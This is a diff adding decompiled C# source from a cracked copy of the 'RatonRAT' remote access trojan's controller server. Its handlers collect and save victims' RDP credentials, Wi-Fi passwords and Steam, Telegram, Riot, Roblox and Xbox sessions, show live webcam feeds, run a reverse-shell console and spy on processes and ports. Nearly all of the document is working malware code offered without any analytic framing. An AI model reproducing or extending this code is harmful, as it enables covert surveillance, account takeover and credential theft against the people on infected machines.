#nullable disable
namespace Server.Handlers;
internal class HandlePortManager
{
public HandlePortManager(SillyClient SillyClient, Unpack unpack)
{
ratonPorts portManagerForm = (ratonPorts) Application.OpenForms["Port spy | Client ID: " + unpack.GetAsString("UID")];
if (portManagerForm == null)
return;
if (portManagerForm.SillyClient == null)
portManagerForm.SillyClient = SillyClient;
portManagerForm.Invoke((Delegate) (() =>
{
string[] strArray = unpack.GetAsString("Ports").Split(new string[1]
{
"-=>"
}, StringSplitOptions.RemoveEmptyEntries);
portManagerForm.aeroListView1.Items.Clear();
portManagerForm.aeroListView1.BeginUpdate();
for (int index = 0; index < strArray.Length - 3; index += 4)
{
ListViewItem listViewItem = new ListViewItem(strArray[index]);
listViewItem.SubItems.Add(strArray[index + 1]);
listViewItem.SubItems.Add(strArray[index + 2]);
listViewItem.SubItems.Add(strArray[index + 3]);
string upper = strArray[index + 3].ToUpper();
if (upper == "ESTABLISHED")
listViewItem.ImageIndex = 1;
if (upper == "TIMEWAIT" || upper == "CLOSEWAIT")
listViewItem.ImageIndex = 2;
if (upper == "LISTENING")
listViewItem.ImageIndex = 0;
portManagerForm.aeroListView1.Items.Add(listViewItem);
}
portManagerForm.aeroListView1.EndUpdate();
portManagerForm.label1.Visible = false;
portManagerForm.aeroListView1.Visible = true;
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the ports of the client", (object) Color.LightGreen)));
}));
}
}
@@ -0,0 +1,149 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleProcessManager
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleProcessManager
{
public HandleProcessManager(SillyClient SillyClient, Unpack unpack)
{
string asString1 = unpack.GetAsString("UID");
ratonProcess processManagerForm = (ratonProcess) Application.OpenForms["Process manager | Client ID: " + asString1];
ratonWindows windowsManagerForm = (ratonWindows) Application.OpenForms["Windows manager | Client ID: " + asString1];
if (processManagerForm == null && windowsManagerForm == null)
return;
string command = unpack.GetAsString("Command");
if (processManagerForm != null)
{
if (processManagerForm.SillyClient == null)
{
processManagerForm.SillyClient = SillyClient;
processManagerForm.timer1.Start();
}
processManagerForm.Invoke((Delegate) (() =>
{
switch (command)
{
case "List":
string[] strArray = unpack.GetAsString("Processes").Split(new string[1]
{
"-=>"
}, StringSplitOptions.None);
processManagerForm.aeroListView2.Items.Clear();
processManagerForm.imageList1.Images.Clear();
processManagerForm.aeroListView2.BeginUpdate();
for (int index = 0; index < strArray.Length - 1; index = index + 4 + 1)
{
string key = Helpers.Random();
ListViewItem listViewItem = new ListViewItem();
listViewItem.Text = strArray[index];
listViewItem.SubItems.Add(strArray[index + 1]);
listViewItem.SubItems.Add(strArray[index + 2]);
listViewItem.SubItems.Add(strArray[index + 3]);
if (strArray[index + 4].Trim() != "N/A")
{
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(strArray[index + 4])));
processManagerForm.imageList1.Images.Add(key, image);
listViewItem.ImageKey = key;
}
else
{
if (!processManagerForm.imageList1.Images.ContainsKey("Admin"))
processManagerForm.imageList1.Images.Add("Admin", (Image) Resources.shieldIcon);
listViewItem.ImageKey = "Admin";
}
listViewItem.Tag = (object) strArray[index + 1];
processManagerForm.aeroListView2.Items.Add(listViewItem);
}
processManagerForm.changeColor(unpack.GetAsString("CurrentRaton"));
processManagerForm.aeroListView2.EndUpdate();
processManagerForm.label1.Visible = false;
processManagerForm.aeroListView2.Visible = true;
break;
case "Info":
string asString2 = unpack.GetAsString("Data");
if (string.IsNullOrEmpty(asString2))
break;
new RatonPI()
{
Text = $"Process spy | {unpack.GetAsString("ProcessName")} | {unpack.GetAsString("ProcessId")}",
textBox1 = {
Text = asString2
}
}.Show();
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the process information", (object) Color.LightGreen)));
break;
}
}));
}
if (windowsManagerForm == null)
return;
if (windowsManagerForm.SillyClient == null)
{
windowsManagerForm.SillyClient = SillyClient;
windowsManagerForm.timer1.Start();
}
windowsManagerForm.Invoke((Delegate) (() =>
{
if (!(command == "List"))
return;
string[] strArray = unpack.GetAsString("Processes").Split(new string[1]
{
"-=>"
}, StringSplitOptions.None);
windowsManagerForm.aeroListView2.Items.Clear();
windowsManagerForm.imageList1.Images.Clear();
windowsManagerForm.aeroListView2.BeginUpdate();
int num;
for (int index = 0; index < strArray.Length - 1; index = num + 1)
{
string str1 = strArray[index];
string text = strArray[index + 1];
string str2 = strArray[index + 2];
string s = strArray[index + 4];
if (!str2.Trim().Equals("Foreground", StringComparison.OrdinalIgnoreCase))
{
num = index + 4;
}
else
{
string key = Helpers.Random();
ListViewItem listViewItem = new ListViewItem();
listViewItem.Text = str1;
listViewItem.SubItems.Add(text);
if (s.Trim() != "N/A")
{
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(s)));
windowsManagerForm.imageList1.Images.Add(key, image);
listViewItem.ImageKey = key;
}
else
{
if (!windowsManagerForm.imageList1.Images.ContainsKey("Admin"))
windowsManagerForm.imageList1.Images.Add("Admin", (Image) Resources.shieldIcon);
listViewItem.ImageKey = "Admin";
}
listViewItem.Tag = (object) text;
windowsManagerForm.aeroListView2.Items.Add(listViewItem);
num = index + 4;
}
}
windowsManagerForm.aeroListView2.EndUpdate();
windowsManagerForm.label1.Visible = false;
windowsManagerForm.aeroListView2.Visible = true;
}));
}
}
+39
View File
@@ -0,0 +1,39 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleRDP
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.IO;
#nullable disable
namespace Server.Handlers;
internal class HandleRDP
{
public HandleRDP(SillyClient client, Unpack unpack)
{
try
{
string asString1 = unpack.GetAsString("UID");
string asString2 = unpack.GetAsString("Credentials");
if (string.IsNullOrEmpty(asString1) || string.IsNullOrEmpty(asString2))
return;
string str1 = Path.Combine(Program.ClientsFolder, asString1);
if (!Directory.Exists(str1))
Directory.CreateDirectory(str1);
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
string filePath = Path.Combine(str1, $"RDP_Credentials_{str2}.txt");
File.WriteAllText(filePath, asString2);
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the RDP credentials: " + filePath), (object) System.Drawing.Color.LightGreen)));
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nRDP stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}
catch
{
}
}
}
+35
View File
@@ -0,0 +1,35 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleRiot
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleRiot
{
public HandleRiot(SillyClient client, Unpack rip2pac)
{
ratonRiot ratonTelegram = (ratonRiot) Application.OpenForms["Riot | Client ID: " + rip2pac.GetAsString("UID")];
if (ratonTelegram == null)
return;
if (ratonTelegram.SillyClient == null)
ratonTelegram.SillyClient = client;
ratonTelegram.Invoke((Delegate) (() =>
{
ratonTelegram.label1.Text = "Got the riot games session .zip!";
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
ratonTelegram.button1.Enabled = true;
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nRiot stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
}
}
+38
View File
@@ -0,0 +1,38 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleRoblox
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.IO;
#nullable disable
namespace Server.Handlers;
internal class HandleRoblox
{
public HandleRoblox(SillyClient client, Unpack unpack)
{
try
{
string asString = unpack.GetAsString("UID");
string contents = unpack.GetAsString("Message").Replace("\\r\\n", "\n").Replace("\\n", "\n").Replace("\\t", "\t");
if (string.IsNullOrEmpty(asString) || string.IsNullOrEmpty(contents))
return;
string str1 = Path.Combine(Program.ClientsFolder, asString);
if (!Directory.Exists(str1))
Directory.CreateDirectory(str1);
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
File.WriteAllText(Path.Combine(str1, $"RobloxSession_{str2}.txt"), contents);
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the Roblox sessions", (object) System.Drawing.Color.LightGreen)));
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nRoblox stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}
catch
{
}
}
}
+32
View File
@@ -0,0 +1,32 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleShell
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleShell
{
public HandleShell(SillyClient client, Unpack rip2pac)
{
ratonShell shellForm = (ratonShell) Application.OpenForms["Reverse shell | Client ID: " + rip2pac.GetAsString("UID")];
if (shellForm == null)
return;
if (shellForm.SillyClient == null)
shellForm.SillyClient = client;
shellForm.Invoke((Delegate) (() =>
{
shellForm.textBoxConsole.AppendText(rip2pac.GetAsString("Output"));
shellForm.textBoxConsole.SelectionStart = shellForm.textBoxConsole.TextLength;
shellForm.textBoxConsole.ScrollToCaret();
}));
}
}
+35
View File
@@ -0,0 +1,35 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleSteam
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleSteam
{
public HandleSteam(SillyClient client, Unpack rip2pac)
{
ratonSteam ratonTelegram = (ratonSteam) Application.OpenForms["Steam | Client ID: " + rip2pac.GetAsString("UID")];
if (ratonTelegram == null)
return;
if (ratonTelegram.SillyClient == null)
ratonTelegram.SillyClient = client;
ratonTelegram.Invoke((Delegate) (() =>
{
ratonTelegram.label1.Text = "Got the steam session .zip!";
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
ratonTelegram.button1.Enabled = true;
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nSteam stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
}
}
@@ -0,0 +1,35 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleTelegram
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleTelegram
{
public HandleTelegram(SillyClient client, Unpack rip2pac)
{
ratonTelegram ratonTelegram = (ratonTelegram) Application.OpenForms["Telegram | Client ID: " + rip2pac.GetAsString("UID")];
if (ratonTelegram == null)
return;
if (ratonTelegram.SillyClient == null)
ratonTelegram.SillyClient = client;
ratonTelegram.Invoke((Delegate) (() =>
{
ratonTelegram.label1.Text = "Got the telegram session .zip!";
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
ratonTelegram.button1.Enabled = true;
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nTelegram stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
}
}
+36
View File
@@ -0,0 +1,36 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleUpload
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Misc;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleUpload
{
public void Run(SillyClient SillyClient, Unpack unpack)
{
ratonFIle openForm = (ratonFIle) Application.OpenForms["File ID: " + unpack.GetAsString("DUID")];
if (openForm == null)
return;
if (openForm.SillyClient == null)
openForm.SillyClient = SillyClient;
if (unpack.GetAsBool("isOk"))
{
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "The file was uploaded successfully", (object) Color.LightGreen)));
}
else
{
openForm.Status("Our rats died. (Failed)");
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddErrorLog((object) "Failed to upload the file", (object) Color.Red)));
}
}
}
@@ -0,0 +1,39 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleUploadACK
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Misc;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleUploadACK
{
public void Run(SillyClient client, Unpack unpack)
{
string asString = unpack.GetAsString("DUID");
int chunkIndex = unpack.GetAsInteger("ChunkIndex");
bool isOk = unpack.GetAsBool("isOk");
ratonFIle fileForm = Application.OpenForms["File ID: " + asString] as ratonFIle;
if (fileForm == null)
return;
fileForm.Invoke((Delegate) (() =>
{
if (isOk)
fileForm.Status($"Chunk {chunkIndex} received successfully");
else
fileForm.Status($"Chunk {chunkIndex} failed to upload");
}));
if (isOk)
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) $"Client {client.uid} received chunk {chunkIndex} of {fileForm.FileName}", (object) Color.Green)));
else
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddErrorLog((object) $"Client {client.uid} failed chunk {chunkIndex} of {fileForm.FileName}", (object) Color.Red)));
}
}
+141
View File
@@ -0,0 +1,141 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleWebcam
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleWebcam
{
private Stopwatch stopwatch = new Stopwatch();
public HandleWebcam(SillyClient SillyClient, Unpack unpack)
{
HandleWebcam handleWebcam = this;
string uid = unpack.GetAsString("UID");
string formPrefix = "Webcam | Client ID: " + uid;
ratonWebcam webcamForm = (ratonWebcam) null;
if (Application.OpenForms.Count > 0)
{
Form openForm = Application.OpenForms[0];
if (openForm.InvokeRequired)
openForm.Invoke((Delegate) (() => webcamForm = Application.OpenForms.OfType<ratonWebcam>().FirstOrDefault<ratonWebcam>((Func<ratonWebcam, bool>) (f => f.Text.StartsWith(formPrefix) && !f.IsDisposed))));
else
webcamForm = Application.OpenForms.OfType<ratonWebcam>().FirstOrDefault<ratonWebcam>((Func<ratonWebcam, bool>) (f => f.Text.StartsWith(formPrefix) && !f.IsDisposed));
}
if (webcamForm == null)
return;
if (webcamForm.SillyClient == null)
webcamForm.SillyClient = SillyClient;
switch (unpack.GetAsString("Command"))
{
case "Start":
this.SafeInvoke((Control) webcamForm, (Action) (() =>
{
if (webcamForm.IsDisposed)
return;
handleWebcam.ProcessImage(unpack.GetAsByteArray("Image"), webcamForm, uid);
}));
break;
case "List":
this.SafeInvoke((Control) webcamForm, (Action) (() =>
{
if (webcamForm.IsDisposed)
return;
string asString = unpack.GetAsString("Cams");
if (string.IsNullOrEmpty(asString))
return;
string[] items = asString.Split('|');
if (items.Length != 0)
{
webcamForm.flatComboBox1.Items.Clear();
webcamForm.flatComboBox1.Items.AddRange((object[]) items);
webcamForm.flatComboBox1.SelectedIndex = 0;
}
else
{
webcamForm.flatComboBox1.Items.Clear();
webcamForm.flatComboBox1.Items.Add((object) "No webcam detected");
webcamForm.flatComboBox1.SelectedIndex = 0;
}
}));
break;
}
}
private void ProcessImage(byte[] imageBytes, ratonWebcam webcamForm, string uid)
{
try
{
if (imageBytes == null || webcamForm == null || webcamForm.IsDisposed || webcamForm.pctBoxWebcam == null || webcamForm.pctBoxWebcam.IsDisposed)
return;
Image imageFromBytes = this.GetImageFromBytes(imageBytes);
if (imageFromBytes != null)
{
Image image = webcamForm.pctBoxWebcam.Image;
webcamForm.pctBoxWebcam.Image = imageFromBytes;
image?.Dispose();
}
++webcamForm.FPS;
if (webcamForm.sw.ElapsedMilliseconds < 1000L)
return;
webcamForm.Text = $"Webcam | Client ID: {uid} | FPS: {webcamForm.FPS}";
webcamForm.FPS = 0;
webcamForm.sw.Restart();
}
catch
{
}
}
private Image GetImageFromBytes(byte[] imageBytes)
{
try
{
using (MemoryStream memoryStream = new MemoryStream(imageBytes))
return Image.FromStream((Stream) memoryStream);
}
catch
{
return (Image) null;
}
}
private void SafeInvoke(Control control, Action action)
{
if (control == null)
return;
if (control.IsDisposed)
return;
try
{
if (control.InvokeRequired)
control.BeginInvoke((Delegate) (() =>
{
if (control.IsDisposed)
return;
action();
}));
else
action();
}
catch (ObjectDisposedException ex)
{
}
catch (InvalidOperationException ex)
{
}
}
}
+44
View File
@@ -0,0 +1,44 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleWifi
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleWifi
{
public HandleWifi(SillyClient SillyClient, Unpack unpack)
{
ratonWifi formPassword = (ratonWifi) Application.OpenForms["Wifi | Client ID: " + unpack.GetAsString("UID")];
if (formPassword == null)
return;
if (formPassword.SillyClient == null)
formPassword.SillyClient = SillyClient;
formPassword.Invoke((Delegate) (() =>
{
string asString1 = unpack.GetAsString("User");
string asString2 = unpack.GetAsString("Pass");
formPassword.aeroListView1.Items.Add(new ListViewItem(asString1)
{
SubItems = {
asString2
},
ImageIndex = 0
});
formPassword.aeroListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.ColumnContent);
formPassword.aeroListView1.EndUpdate();
formPassword.label1.Visible = false;
formPassword.aeroListView1.Visible = true;
foreach (ColumnHeader column in formPassword.aeroListView1.Columns)
column.Width = formPassword.aeroListView1.Width / formPassword.aeroListView1.Columns.Count;
}));
}
}
+35
View File
@@ -0,0 +1,35 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleXbox
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleXbox
{
public HandleXbox(SillyClient client, Unpack rip2pac)
{
ratonXbox ratonTelegram = (ratonXbox) Application.OpenForms["Xbox | Client ID: " + rip2pac.GetAsString("UID")];
if (ratonTelegram == null)
return;
if (ratonTelegram.SillyClient == null)
ratonTelegram.SillyClient = client;
ratonTelegram.Invoke((Delegate) (() =>
{
ratonTelegram.label1.Text = "Got the xbox session .zip!";
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
ratonTelegram.button1.Enabled = true;
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nXbox stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
}
}
+53
View File
@@ -0,0 +1,53 @@
// Decompiled with JetBrains decompiler
// Type: Server.Helper.Methods
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using System;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
#nullable disable
namespace Server.Helper;
public static class Methods
{
private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
public static Random Random = new Random();
public static string BytesToString(long byteCount)
{
string[] strArray = new string[7]
{
"B",
"KB",
"MB",
"GB",
"TB",
"PB",
"EB"
};
if (byteCount == 0L)
return "0" + strArray[0];
long a = Math.Abs(byteCount);
int int32 = Convert.ToInt32(Math.Floor(Math.Log((double) a, 1024.0)));
double num = Math.Round((double) a / Math.Pow(1024.0, (double) int32), 1);
return ((double) Math.Sign(byteCount) * num).ToString() + strArray[int32];
}
public static async Task FadeIn(Form o, int interval = 80 /*0x50*/)
{
for (; o.Opacity < 1.0; o.Opacity += 0.05)
await Task.Delay(interval);
}
public static string GetRandomString(int length)
{
StringBuilder stringBuilder = new StringBuilder(length);
for (int index = 0; index < length; ++index)
stringBuilder.Append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[Methods.Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".Length)]);
return stringBuilder.ToString();
}
}